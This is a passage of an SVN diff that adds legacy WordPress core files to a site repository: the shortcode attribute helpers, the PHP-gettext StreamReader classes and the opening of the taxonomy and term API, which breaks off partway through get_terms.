+			elseif (isset($m[8]))
+				$atts[] = stripcslashes($m[8]);
+		}
+	} else {
+		$atts = ltrim($text);
+	}
+	return $atts;
+}
+
+/**
+ * Combine user attributes with known attributes and fill in defaults when needed.
+ *
+ * The pairs should be considered to be all of the attributes which are
+ * supported by the caller and given as a list. The returned attributes will
+ * only contain the attributes in the $pairs list.
+ *
+ * If the $atts list has unsupported attributes, then they will be ignored and
+ * removed from the final returned list.
+ *
+ * @since 2.5
+ *
+ * @param array $pairs Entire list of supported attributes and their defaults.
+ * @param array $atts User defined attributes in shortcode tag.
+ * @return array Combined and filtered attribute list.
+ */
+function shortcode_atts($pairs, $atts) {
+	$atts = (array)$atts;
+	$out = array();
+	foreach($pairs as $name => $default) {
+		if ( array_key_exists($name, $atts) )
+			$out[$name] = $atts[$name];
+		else
+			$out[$name] = $default;
+	}
+	return $out;
+}
+
+/**
+ * Remove all shortcode tags from the given content.
+ *
+ * @since 2.5
+ * @uses $shortcode_tags
+ *
+ * @param string $content Content to remove shortcode tags.
+ * @return string Content without shortcode tags.
+ */
+function strip_shortcodes( $content ) {
+	global $shortcode_tags;
+
+	if (empty($shortcode_tags) || !is_array($shortcode_tags))
+		return $content;
+
+	$pattern = get_shortcode_regex();
+
+	return preg_replace('/'.$pattern.'/s', '', $content);
+}
+
+add_filter('the_content', 'do_shortcode', 11); // AFTER wpautop()
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/streams.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/streams.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/streams.php	(revision 44)
@@ -0,0 +1,191 @@
+<?php
+/**
+ * PHP-Gettext External Library: StreamReader classes
+ *
+ * @package External
+ * @subpackage PHP-gettext
+ *
+ * @internal
+   Copyright (c) 2003, 2005 Danilo Segan <danilo@kvota.net>.
+
+   This file is part of PHP-gettext.
+
+   PHP-gettext is free software; you can redistribute it and/or modify
+   it under the terms of the GNU General Public License as published by
+   the Free Software Foundation; either version 2 of the License, or
+   (at your option) any later version.
+
+   PHP-gettext is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   GNU General Public License for more details.
+
+   You should have received a copy of the GNU General Public License
+   along with PHP-gettext; if not, write to the Free Software
+   Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+
+ */
+
+
+// Simple class to wrap file streams, string streams, etc.
+// seek is essential, and it should be byte stream
+class StreamReader {
+  // should return a string [FIXME: perhaps return array of bytes?]
+  function read($bytes) {
+    return false;
+  }
+
+  // should return new position
+  function seekto($position) {
+    return false;
+  }
+
+  // returns current position
+  function currentpos() {
+    return false;
+  }
+
+  // returns length of entire stream (limit for seekto()s)
+  function length() {
+    return false;
+  }
+}
+
+class StringReader {
+  var $_pos;
+  var $_str;
+
+  function StringReader($str='') {
+    $this->_str = $str;
+    $this->_pos = 0;
+    // If string functions are overloaded, we need to use the mb versions
+    $this->is_overloaded = ((ini_get("mbstring.func_overload") & 2) != 0) && function_exists('mb_substr');
+  }
+
+  function _substr($string, $start, $length) {
+	if ($this->is_overloaded) {
+		return mb_substr($string,$start,$length,'ascii');
+	} else {
+		return substr($string,$start,$length);
+	}
+  }
+
+  function _strlen($string) {
+	if ($this->is_overloaded) {
+		return mb_strlen($string,'ascii');
+	} else {
+		return strlen($string);
+	}
+  }
+
+  function read($bytes) {
+	  $data = $this->_substr($this->_str, $this->_pos, $bytes);
+    $this->_pos += $bytes;
+    if ($this->_strlen($this->_str)<$this->_pos)
+      $this->_pos = $this->_strlen($this->_str);
+
+    return $data;
+  }
+
+  function seekto($pos) {
+    $this->_pos = $pos;
+    if ($this->_strlen($this->_str)<$this->_pos)
+      $this->_pos = $this->_strlen($this->_str);
+    return $this->_pos;
+  }
+
+  function currentpos() {
+    return $this->_pos;
+  }
+
+  function length() {
+    return $this->_strlen($this->_str);
+  }
+}
+
+
+class FileReader {
+  var $_pos;
+  var $_fd;
+  var $_length;
+
+  function FileReader($filename) {
+    if (file_exists($filename)) {
+
+      $this->_length=filesize($filename);
+      $this->_pos = 0;
+      $this->_fd = fopen($filename,'rb');
+      if (!$this->_fd) {
+	$this->error = 3; // Cannot read file, probably permissions
+	return false;
+      }
+    } else {
+      $this->error = 2; // File doesn't exist
+      return false;
+    }
+  }
+
+  function read($bytes) {
+    if ($bytes) {
+      fseek($this->_fd, $this->_pos);
+
+      // PHP 5.1.1 does not read more than 8192 bytes in one fread()
+      // the discussions at PHP Bugs suggest it's the intended behaviour
+      while ($bytes > 0) {
+        $chunk  = fread($this->_fd, $bytes);
+        $data  .= $chunk;
+        $bytes -= strlen($chunk);
+      }
+      $this->_pos = ftell($this->_fd);
+
+      return $data;
+    } else return '';
+  }
+
+  function seekto($pos) {
+    fseek($this->_fd, $pos);
+    $this->_pos = ftell($this->_fd);
+    return $this->_pos;
+  }
+
+  function currentpos() {
+    return $this->_pos;
+  }
+
+  function length() {
+    return $this->_length;
+  }
+
+  function close() {
+    fclose($this->_fd);
+  }
+
+}
+
+// Preloads entire file in memory first, then creates a StringReader
+// over it (it assumes knowledge of StringReader internals)
+class CachedFileReader extends StringReader {
+  function CachedFileReader($filename) {
+    parent::StringReader();
+
+    if (file_exists($filename)) {
+
+      $length=filesize($filename);
+      $fd = fopen($filename,'rb');
+
+      if (!$fd) {
+        $this->error = 3; // Cannot read file, probably permissions
+        return false;
+      }
+      $this->_str = fread($fd, $length);
+	  fclose($fd);
+
+    } else {
+      $this->error = 2; // File doesn't exist
+      return false;
+    }
+  }
+}
+
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/taxonomy.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/taxonomy.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/taxonomy.php	(revision 44)
@@ -0,0 +1,2352 @@
+<?php
+/**
+ * Taxonomy API
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ */
+
+//
+// Taxonomy Registration
+//
+
+/**
+ * Creates the initial taxonomies when 'init' action is fired.
+ */
+function create_initial_taxonomies() {
+	register_taxonomy( 'category', 'post', array('hierarchical' => true, 'update_count_callback' => '_update_post_term_count', 'label' => __('Categories'), 'query_var' => false, 'rewrite' => false) ) ;
+	register_taxonomy( 'post_tag', 'post', array('hierarchical' => false, 'update_count_callback' => '_update_post_term_count', 'label' => __('Post Tags'), 'query_var' => false, 'rewrite' => false) ) ;
+	register_taxonomy( 'link_category', 'link', array('hierarchical' => false, 'label' => __('Categories'), 'query_var' => false, 'rewrite' => false) ) ;
+}
+add_action( 'init', 'create_initial_taxonomies', 0 ); // highest priority
+
+/**
+ * Return all of the taxonomy names that are of $object_type.
+ *
+ * It appears that this function can be used to find all of the names inside of
+ * $wp_taxonomies global variable.
+ *
+ * <code><?php $taxonomies = get_object_taxonomies('post'); ?></code> Should
+ * result in <code>Array('category', 'post_tag')</code>
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ *
+ * @uses $wp_taxonomies
+ *
+ * @param array|string|object $object Name of the type of taxonomy object, or an object (row from posts)
+ * @return array The names of all taxonomy of $object_type.
+ */
+function get_object_taxonomies($object) {
+	global $wp_taxonomies;
+
+	if ( is_object($object) ) {
+		if ( $object->post_type == 'attachment' )
+			return get_attachment_taxonomies($object);
+		$object = $object->post_type;
+	}
+
+	$object = (array) $object;
+
+	$taxonomies = array();
+	foreach ( (array) $wp_taxonomies as $taxonomy ) {
+		if ( array_intersect($object, (array) $taxonomy->object_type) )
+			$taxonomies[] = $taxonomy->name;
+	}
+
+	return $taxonomies;
+}
+
+/**
+ * Retrieves the taxonomy object of $taxonomy.
+ *
+ * The get_taxonomy function will first check that the parameter string given
+ * is a taxonomy object and if it is, it will return it.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ *
+ * @uses $wp_taxonomies
+ * @uses is_taxonomy() Checks whether taxonomy exists
+ *
+ * @param string $taxonomy Name of taxonomy object to return
+ * @return object|bool The Taxonomy Object or false if $taxonomy doesn't exist
+ */
+function get_taxonomy( $taxonomy ) {
+	global $wp_taxonomies;
+
+	if ( ! is_taxonomy($taxonomy) )
+		return false;
+
+	return $wp_taxonomies[$taxonomy];
+}
+
+/**
+ * Checks that the taxonomy name exists.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ *
+ * @uses $wp_taxonomies
+ *
+ * @param string $taxonomy Name of taxonomy object
+ * @return bool Whether the taxonomy exists or not.
+ */
+function is_taxonomy( $taxonomy ) {
+	global $wp_taxonomies;
+
+	return isset($wp_taxonomies[$taxonomy]);
+}
+
+/**
+ * Whether the taxonomy object is hierarchical.
+ *
+ * Checks to make sure that the taxonomy is an object first. Then Gets the
+ * object, and finally returns the hierarchical value in the object.
+ *
+ * A false return value might also mean that the taxonomy does not exist.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ *
+ * @uses is_taxonomy() Checks whether taxonomy exists
+ * @uses get_taxonomy() Used to get the taxonomy object
+ *
+ * @param string $taxonomy Name of taxonomy object
+ * @return bool Whether the taxonomy is hierarchical
+ */
+function is_taxonomy_hierarchical($taxonomy) {
+	if ( ! is_taxonomy($taxonomy) )
+		return false;
+
+	$taxonomy = get_taxonomy($taxonomy);
+	return $taxonomy->hierarchical;
+}
+
+/**
+ * Create or modify a taxonomy object. Do not use before init.
+ *
+ * A simple function for creating or modifying a taxonomy object based on the
+ * parameters given. The function will accept an array (third optional
+ * parameter), along with strings for the taxonomy name and another string for
+ * the object type.
+ *
+ * Nothing is returned, so expect error maybe or use is_taxonomy() to check
+ * whether taxonomy exists.
+ *
+ * Optional $args contents:
+ *
+ * hierarachical - has some defined purpose at other parts of the API and is a
+ * boolean value.
+ *
+ * update_count_callback - works much like a hook, in that it will be called
+ * when the count is updated.
+ *
+ * rewrite - false to prevent rewrite, or array('slug'=>$slug) to customize
+ * permastruct; default will use $taxonomy as slug.
+ *
+ * query_var - false to prevent queries, or string to customize query var
+ * (?$query_var=$term); default will use $taxonomy as query var.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ * @uses $wp_taxonomies Inserts new taxonomy object into the list
+ * @uses $wp_rewrite Adds rewrite tags and permastructs
+ * @uses $wp Adds query vars
+ *
+ * @param string $taxonomy Name of taxonomy object
+ * @param array|string $object_type Name of the object type for the taxonomy object.
+ * @param array|string $args See above description for the two keys values.
+ */
+function register_taxonomy( $taxonomy, $object_type, $args = array() ) {
+	global $wp_taxonomies, $wp_rewrite, $wp;
+
+	if (!is_array($wp_taxonomies))
+		$wp_taxonomies = array();
+
+	$defaults = array('hierarchical' => false, 'update_count_callback' => '', 'rewrite' => true, 'query_var' => true);
+	$args = wp_parse_args($args, $defaults);
+
+	if ( false !== $args['query_var'] && !empty($wp) ) {
+		if ( true === $args['query_var'] )
+			$args['query_var'] = $taxonomy;
+		$args['query_var'] = sanitize_title_with_dashes($args['query_var']);
+		$wp->add_query_var($args['query_var']);
+	}
+
+	if ( false !== $args['rewrite'] && !empty($wp_rewrite) ) {
+		if ( !is_array($args['rewrite']) )
+			$args['rewrite'] = array();
+		if ( !isset($args['rewrite']['slug']) )
+			$args['rewrite']['slug'] = sanitize_title_with_dashes($taxonomy);
+		$wp_rewrite->add_rewrite_tag("%$taxonomy%", '([^/]+)', $args['query_var'] ? "{$args['query_var']}=" : "taxonomy=$taxonomy&term=$term");
+		$wp_rewrite->add_permastruct($taxonomy, "{$args['rewrite']['slug']}/%$taxonomy%");
+	}
+
+	$args['name'] = $taxonomy;
+	$args['object_type'] = $object_type;
+	$wp_taxonomies[$taxonomy] = (object) $args;
+}
+
+//
+// Term API
+//
+
+/**
+ * Retrieve object_ids of valid taxonomy and term.
+ *
+ * The strings of $taxonomies must exist before this function will continue. On
+ * failure of finding a valid taxonomy, it will return an WP_Error class, kind
+ * of like Exceptions in PHP 5, except you can't catch them. Even so, you can
+ * still test for the WP_Error class and get the error message.
+ *
+ * The $terms aren't checked the same as $taxonomies, but still need to exist
+ * for $object_ids to be returned.
+ *
+ * It is possible to change the order that object_ids is returned by either
+ * using PHP sort family functions or using the database by using $args with
+ * either ASC or DESC array. The value should be in the key named 'order'.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ *
+ * @uses $wpdb
+ * @uses wp_parse_args() Creates an array from string $args.
+ *
+ * @param string|array $terms String of term or array of string values of terms that will be used
+ * @param string|array $taxonomies String of taxonomy name or Array of string values of taxonomy names
+ * @param array|string $args Change the order of the object_ids, either ASC or DESC
+ * @return WP_Error|array If the taxonomy does not exist, then WP_Error will be returned. On success
+ *	the array can be empty meaning that there are no $object_ids found or it will return the $object_ids found.
+ */
+function get_objects_in_term( $terms, $taxonomies, $args = array() ) {
+	global $wpdb;
+
+	if ( !is_array( $terms) )
+		$terms = array($terms);
+
+	if ( !is_array($taxonomies) )
+		$taxonomies = array($taxonomies);
+
+	foreach ( (array) $taxonomies as $taxonomy ) {
+		if ( ! is_taxonomy($taxonomy) )
+			return new WP_Error('invalid_taxonomy', __('Invalid Taxonomy'));
+	}
+
+	$defaults = array('order' => 'ASC');
+	$args = wp_parse_args( $args, $defaults );
+	extract($args, EXTR_SKIP);
+
+	$order = ( 'desc' == strtolower($order) ) ? 'DESC' : 'ASC';
+
+	$terms = array_map('intval', $terms);
+
+	$taxonomies = "'" . implode("', '", $taxonomies) . "'";
+	$terms = "'" . implode("', '", $terms) . "'";
+
+	$object_ids = $wpdb->get_col("SELECT tr.object_id FROM $wpdb->term_relationships AS tr INNER JOIN $wpdb->term_taxonomy AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy IN ($taxonomies) AND tt.term_id IN ($terms) ORDER BY tr.object_id $order");
+
+	if ( ! $object_ids )
+		return array();
+
+	return $object_ids;
+}
+
+/**
+ * Get all Term data from database by Term ID.
+ *
+ * The usage of the get_term function is to apply filters to a term object. It
+ * is possible to get a term object from the database before applying the
+ * filters.
+ *
+ * $term ID must be part of $taxonomy, to get from the database. Failure, might
+ * be able to be captured by the hooks. Failure would be the same value as $wpdb
+ * returns for the get_row method.
+ *
+ * There are two hooks, one is specifically for each term, named 'get_term', and
+ * the second is for the taxonomy name, 'term_$taxonomy'. Both hooks gets the
+ * term object, and the taxonomy name as parameters. Both hooks are expected to
+ * return a Term object.
+ *
+ * 'get_term' hook - Takes two parameters the term Object and the taxonomy name.
+ * Must return term object. Used in get_term() as a catch-all filter for every
+ * $term.
+ *
+ * 'get_$taxonomy' hook - Takes two parameters the term Object and the taxonomy
+ * name. Must return term object. $taxonomy will be the taxonomy name, so for
+ * example, if 'category', it would be 'get_category' as the filter name. Useful
+ * for custom taxonomies or plugging into default taxonomies.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ *
+ * @uses $wpdb
+ * @uses sanitize_term() Cleanses the term based on $filter context before returning.
+ * @see sanitize_term_field() The $context param lists the available values for get_term_by() $filter param.
+ *
+ * @param int|object $term If integer, will get from database. If object will apply filters and return $term.
+ * @param string $taxonomy Taxonomy name that $term is part of.
+ * @param string $output Constant OBJECT, ARRAY_A, or ARRAY_N
+ * @param string $filter Optional, default is raw or no WordPress defined filter will applied.
+ * @return mixed|null|WP_Error Term Row from database. Will return null if $term is empty. If taxonomy does not
+ * exist then WP_Error will be returned.
+ */
+function &get_term($term, $taxonomy, $output = OBJECT, $filter = 'raw') {
+	global $wpdb;
+
+	if ( empty($term) ) {
+		$error = new WP_Error('invalid_term', __('Empty Term'));
+		return $error;
+	}
+
+	if ( ! is_taxonomy($taxonomy) ) {
+		$error = new WP_Error('invalid_taxonomy', __('Invalid Taxonomy'));
+		return $error;
+	}
+
+	if ( is_object($term) && empty($term->filter) ) {
+		wp_cache_add($term->term_id, $term, $taxonomy);
+		$_term = $term;
+	} else {
+		if ( is_object($term) )
+			$term = $term->term_id;
+		$term = (int) $term;
+		if ( ! $_term = wp_cache_get($term, $taxonomy) ) {
+			$_term = $wpdb->get_row( $wpdb->prepare( "SELECT t.*, tt.* FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy = %s AND t.term_id = %s LIMIT 1", $taxonomy, $term) );
+			wp_cache_add($term, $_term, $taxonomy);
+		}
+	}
+
+	$_term = apply_filters('get_term', $_term, $taxonomy);
+	$_term = apply_filters("get_$taxonomy", $_term, $taxonomy);
+	$_term = sanitize_term($_term, $taxonomy, $filter);
+
+	if ( $output == OBJECT ) {
+		return $_term;
+	} elseif ( $output == ARRAY_A ) {
+		$__term = get_object_vars($_term);
+		return $__term;
+	} elseif ( $output == ARRAY_N ) {
+		$__term = array_values(get_object_vars($_term));
+		return $__term;
+	} else {
+		return $_term;
+	}
+}
+
+/**
+ * Get all Term data from database by Term field and data.
+ *
+ * Warning: $value is not escaped for 'name' $field. You must do it yourself, if
+ * required.
+ *
+ * The default $field is 'id', therefore it is possible to also use null for
+ * field, but not recommended that you do so.
+ *
+ * If $value does not exist, the return value will be false. If $taxonomy exists
+ * and $field and $value combinations exist, the Term will be returned.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ *
+ * @uses $wpdb
+ * @uses sanitize_term() Cleanses the term based on $filter context before returning.
+ * @see sanitize_term_field() The $context param lists the available values for get_term_by() $filter param.
+ *
+ * @param string $field Either 'slug', 'name', or 'id'
+ * @param string|int $value Search for this term value
+ * @param string $taxonomy Taxonomy Name
+ * @param string $output Constant OBJECT, ARRAY_A, or ARRAY_N
+ * @param string $filter Optional, default is raw or no WordPress defined filter will applied.
+ * @return mixed Term Row from database. Will return false if $taxonomy does not exist or $term was not found.
+ */
+function get_term_by($field, $value, $taxonomy, $output = OBJECT, $filter = 'raw') {
+	global $wpdb;
+
+	if ( ! is_taxonomy($taxonomy) )
+		return false;
+
+	if ( 'slug' == $field ) {
+		$field = 't.slug';
+		$value = sanitize_title($value);
+		if ( empty($value) )
+			return false;
+	} else if ( 'name' == $field ) {
+		// Assume already escaped
+		$value = stripslashes($value);
+		$field = 't.name';
+	} else {
+		$field = 't.term_id';
+		$value = (int) $value;
+	}
+
+	$term = $wpdb->get_row( $wpdb->prepare( "SELECT t.*, tt.* FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy = %s AND $field = %s LIMIT 1", $taxonomy, $value) );
+	if ( !$term )
+		return false;
+
+	wp_cache_add($term->term_id, $term, $taxonomy);
+
+	$term = sanitize_term($term, $taxonomy, $filter);
+
+	if ( $output == OBJECT ) {
+		return $term;
+	} elseif ( $output == ARRAY_A ) {
+		return get_object_vars($term);
+	} elseif ( $output == ARRAY_N ) {
+		return array_values(get_object_vars($term));
+	} else {
+		return $term;
+	}
+}
+
+/**
+ * Merge all term children into a single array of their IDs.
+ *
+ * This recursive function will merge all of the children of $term into the same
+ * array of term IDs. Only useful for taxonomies which are hierarchical.
+ *
+ * Will return an empty array if $term does not exist in $taxonomy.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ *
+ * @uses $wpdb
+ * @uses _get_term_hierarchy()
+ * @uses get_term_children() Used to get the children of both $taxonomy and the parent $term
+ *
+ * @param string $term ID of Term to get children
+ * @param string $taxonomy Taxonomy Name
+ * @return array|WP_Error List of Term Objects. WP_Error returned if $taxonomy does not exist
+ */
+function get_term_children( $term_id, $taxonomy ) {
+	if ( ! is_taxonomy($taxonomy) )
+		return new WP_Error('invalid_taxonomy', __('Invalid Taxonomy'));
+
+	$term_id = intval( $term_id );
+
+	$terms = _get_term_hierarchy($taxonomy);
+
+	if ( ! isset($terms[$term_id]) )
+		return array();
+
+	$children = $terms[$term_id];
+
+	foreach ( (array) $terms[$term_id] as $child ) {
+		if ( isset($terms[$child]) )
+			$children = array_merge($children, get_term_children($child, $taxonomy));
+	}
+
+	return $children;
+}
+
+/**
+ * Get sanitized Term field.
+ *
+ * Does checks for $term, based on the $taxonomy. The function is for contextual
+ * reasons and for simplicity of usage. See sanitize_term_field() for more
+ * information.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ *
+ * @uses sanitize_term_field() Passes the return value in sanitize_term_field on success.
+ *
+ * @param string $field Term field to fetch
+ * @param int $term Term ID
+ * @param string $taxonomy Taxonomy Name
+ * @param string $context Optional, default is display. Look at sanitize_term_field() for available options.
+ * @return mixed Will return an empty string if $term is not an object or if $field is not set in $term.
+ */
+function get_term_field( $field, $term, $taxonomy, $context = 'display' ) {
+	$term = (int) $term;
+	$term = get_term( $term, $taxonomy );
+	if ( is_wp_error($term) )
+		return $term;
+
+	if ( !is_object($term) )
+		return '';
+
+	if ( !isset($term->$field) )
+		return '';
+
+	return sanitize_term_field($field, $term->$field, $term->term_id, $taxonomy, $context);
+}
+
+/**
+ * Sanitizes Term for editing.
+ *
+ * Return value is sanitize_term() and usage is for sanitizing the term for
+ * editing. Function is for contextual and simplicity.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ *
+ * @uses sanitize_term() Passes the return value on success
+ *
+ * @param int|object $id Term ID or Object
+ * @param string $taxonomy Taxonomy Name
+ * @return mixed|null|WP_Error Will return empty string if $term is not an object.
+ */
+function get_term_to_edit( $id, $taxonomy ) {
+	$term = get_term( $id, $taxonomy );
+
+	if ( is_wp_error($term) )
+		return $term;
+
+	if ( !is_object($term) )
+		return '';
+
+	return sanitize_term($term, $taxonomy, 'edit');
+}
+
+/**
+ * Retrieve the terms in a given taxonomy or list of taxonomies.
+ *
+ * You can fully inject any customizations to the query before it is sent, as
+ * well as control the output with a filter.
+ *
+ * The 'get_terms' filter will be called when the cache has the term and will
+ * pass the found term along with the array of $taxonomies and array of $args.
+ * This filter is also called before the array of terms is passed and will pass
+ * the array of terms, along with the $taxonomies and $args.
+ *
+ * The 'list_terms_exclusions' filter passes the compiled exclusions along with
+ * the $args.
+ *
+ * The 'get_terms_orderby' filter passes the ORDER BY clause for the query
+ * along with the $args array.
+
+ * The 'get_terms_fields' filter passes the fields for the SELECT query
+ * along with the $args array.
+ *
+ * The list of arguments that $args can contain, which will overwrite the defaults:
+ *
+ * orderby - Default is 'name'. Can be name, count, term_group, slug or nothing
+ * (will use term_id), Passing a custom value other than these will cause it to
+ * order based on the custom value.
+ *
+ * order - Default is ASC. Can use DESC.
+ *
+ * hide_empty - Default is true. Will not return empty terms, which means
+ * terms whose count is 0 according to the given taxonomy.
+ *
+ * exclude - Default is an empty string.  A comma- or space-delimited string
+ * of term ids to exclude from the return array.  If 'include' is non-empty,
+ * 'exclude' is ignored.
+ *
+ * exclude_tree - A comma- or space-delimited string of term ids to exclude
+ * from the return array, along with all of their descendant terms according to
+ * the primary taxonomy.  If 'include' is non-empty, 'exclude_tree' is ignored.
+ *
+ * include - Default is an empty string.  A comma- or space-delimited string
+ * of term ids to include in the return array.
+ *
+ * number - The maximum number of terms to return.  Default is empty.
+ *
+ * offset - The number by which to offset the terms query.
+ *
+ * fields - Default is 'all', which returns an array of term objects.
+ * If 'fields' is 'ids' or 'names', returns an array of
+ * integers or strings, respectively.
+ *
+ * slug - Returns terms whose "slug" matches this value. Default is empty string.
+ *
+ * hierarchical - Whether to include terms that have non-empty descendants
+ * (even if 'hide_empty' is set to true).
+ *
+ * search - Returned terms' names will contain the value of 'search',
+ * case-insensitive.  Default is an empty string.
+ *
+ * name__like - Returned terms' names will begin with the value of 'name__like',
+ * case-insensitive. Default is empty string.
+ *
+ * The argument 'pad_counts', if set to true will include the quantity of a term's
+ * children in the quantity of each term's "count" object variable.
+ *
+ * The 'get' argument, if set to 'all' instead of its default empty string,
+ * returns terms regardless of ancestry or whether the terms are empty.
+ *
+ * The 'child_of' argument, when used, should be set to the integer of a term ID.  Its default
+ * is 0.  If set to a non-zero value, all returned terms will be descendants
+ * of that term according to the given taxonomy.  Hence 'child_of' is set to 0
+ * if more than one taxonomy is passed in $taxonomies, because multiple taxonomies
+ * make term ancestry ambiguous.
+ *
+ * The 'parent' argument, when used, should be set to the integer of a term ID.  Its default is
+ * the empty string '', which has a different meaning from the integer 0.
+ * If set to an integer value, all returned terms will have as an immediate
+ * ancestor the term whose ID is specified by that integer according to the given taxonomy.
+ * The 'parent' argument is different from 'child_of' in that a term X is considered a 'parent'
+ * of term Y only if term X is the father of term Y, not its grandfather or great-grandfather, etc.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ *
+ * @uses $wpdb
+ * @uses wp_parse_args() Merges the defaults with those defined by $args and allows for strings.
+ *
+ * @param string|array Taxonomy name or list of Taxonomy names
+ * @param string|array $args The values of what to search for when returning terms
+ * @return array|WP_Error List of Term Objects and their children. Will return WP_Error, if any of $taxonomies do not exist.
+ */
+function &get_terms($taxonomies, $args = '') {
+	global $wpdb;
+	$empty_array = array();
+
+	$single_taxonomy = false;
+	if ( !is_array($taxonomies) ) {
+		$single_taxonomy = true;
+		$taxonomies = array($taxonomies);
+	}
+
+	foreach ( (array) $taxonomies as $taxonomy ) {
+		if ( ! is_taxonomy($taxonomy) ) {
+			$error = & new WP_Error('invalid_taxonomy', __('Invalid Taxonomy'));
+			return $error;
+		}
+	}
+
+	$in_taxonomies = "'" . implode("', '", $taxonomies) . "'";
+
+	$defaults = array('orderby' => 'name', 'order' => 'ASC',
+		'hide_empty' => true, 'exclude' => '', 'exclude_tree' => '', 'include' => '',
+		'number' => '', 'fields' => 'all', 'slug' => '', 'parent' => '',
+		'hierarchical' => true, 'child_of' => 0, 'get' => '', 'name__like' => '',
+		'pad_counts' => false, 'offset' => '', 'search' => '');
+	$args = wp_parse_args( $args, $defaults );
+	$args['number'] = absint( $args['number'] );
+	$args['offset'] = absint( $args['offset'] );
+	if ( !$single_taxonomy || !is_taxonomy_hierarchical($taxonomies[0]) ||
+		'' !== $args['parent'] ) {
+		$args['child_of'] = 0;
+		$args['hierarchical'] = false;
+		$args['pad_counts'] = false;
+	}
+
+	if ( 'all' == $args['get'] ) {
+		$args['child_of'] = 0;
+		$args['hide_empty'] = 0;
+		$args['hierarchical'] = false;
+		$args['pad_counts'] = false;
+	}
+	extract($args, EXTR_SKIP);
+
+	if ( $child_of ) {
+		$hierarchy = _get_term_hierarchy($taxonomies[0]);
+		if ( !isset($hierarchy[$child_of]) )
+			return $empty_array;
+	}
+
+	if ( $parent ) {
+		$hierarchy = _get_term_hierarchy($taxonomies[0]);
+		if ( !isset($hierarchy[$parent]) )
+			return $empty_array;
+	}
+
+	// $args can be whatever, only use the args defined in defaults to compute the key
+	$filter_key = ( has_filter('list_terms_exclusions') ) ? serialize($GLOBALS['wp_filter']['list_terms_exclusions']) : '';
+	$key = md5( serialize( compact(array_keys($defaults)) ) . serialize( $taxonomies ) . $filter_key );
+	$last_changed = wp_cache_get('last_changed', 'terms');
+	if ( !$last_changed ) {
+		$last_changed = time();
+		wp_cache_set('last_changed', $last_changed, 'terms');
+	}
+	$cache_key = "get_terms:$key:$last_changed";
+	$cache = wp_cache_get( $cache_key, 'terms' );
+	if ( false !== $cache ) {
+		$cache = apply_filters('get_terms', $cache, $taxonomies, $args);
+		return $cache;
+	}
+
+	$_orderby = strtolower($orderby);
+	if ( 'count' == $_orderby )
+		$orderby = 'tt.count';
+	else if ( 'name' == $_orderby )
+		$orderby = 't.name';
+	else if ( 'slug' == $_orderby )
+		$orderby = 't.slug';
+	else if ( 'term_group' == $_orderby )
+		$orderby = 't.term_group';
+	elseif ( empty($_orderby) || 'id' == $_orderby )
+		$orderby = 't.term_id';
+
+	$orderby = apply_filters( 'get_terms_orderby', $orderby, $args );
+
+	$where = '';
+	$inclusions = '';
+	if ( !empty($include) ) {
+		$exclude = '';
+		$exclude_tree = '';
+		$interms = preg_split('/[\s,]+/',$include);
+		if ( count($interms) ) {
+			foreach ( (array) $interms as $interm ) {
+				if (empty($inclusions))
+					$inclusions = ' AND ( t.term_id = ' . intval($interm) . ' ';
+				else
+					$inclusions .= ' OR t.term_id = ' . intval($interm) . ' ';
+			}
+		}
+	}
+
+	if ( !empty($inclusions) )
+		$inclusions .= ')';
+	$where .= $inclusions;
+
+	$exclusions = '';
+	if ( ! empty( $exclude_tree ) ) {
+		$excluded_trunks = preg_split('/[\s,]+/',$exclude_tree);
+		foreach( (array) $excluded_trunks as $extrunk ) {
+			$excluded_children = (array) get_terms($taxonomies[0], array('child_of' => intval($extrunk), 'fields' => 'ids'));
+			$excluded_children[] = $extrunk;
+			foreach( (array) $excluded_children as $exterm ) {
+				if ( empty($exclusions) )
+					$exclusions = ' AND ( t.term_id <> ' . intval($exterm) . ' ';
+				else
+					$exclusions .= ' AND t.term_id <> ' . intval($exterm) . ' ';
+
+			}
+		}
+	}
+	if ( !empty($exclude) ) {
+		$exterms = preg_split('/[\s,]+/',$exclude);
+		if ( count($exterms) ) {
+			foreach ( (array) $exterms as $exterm ) {
+				if ( empty($exclusions) )
+					$exclusions = ' AND ( t.term_id <> ' . intval($exterm) . ' ';
+				else
+					$exclusions .= ' AND t.term_id <> ' . intval($exterm) . ' ';
+			}
+		}
+	}
+
+	if ( !empty($exclusions) )
+		$exclusions .= ')';
+	$exclusions = apply_filters('list_terms_exclusions', $exclusions, $args );
+	$where .= $exclusions;
+
+	if ( !empty($slug) ) {
+		$slug = sanitize_title($slug);
+		$where .= " AND t.slug = '$slug'";
+	}
+
+	if ( !empty($name__like) )
+		$where .= " AND t.name LIKE '{$name__like}%'";
+
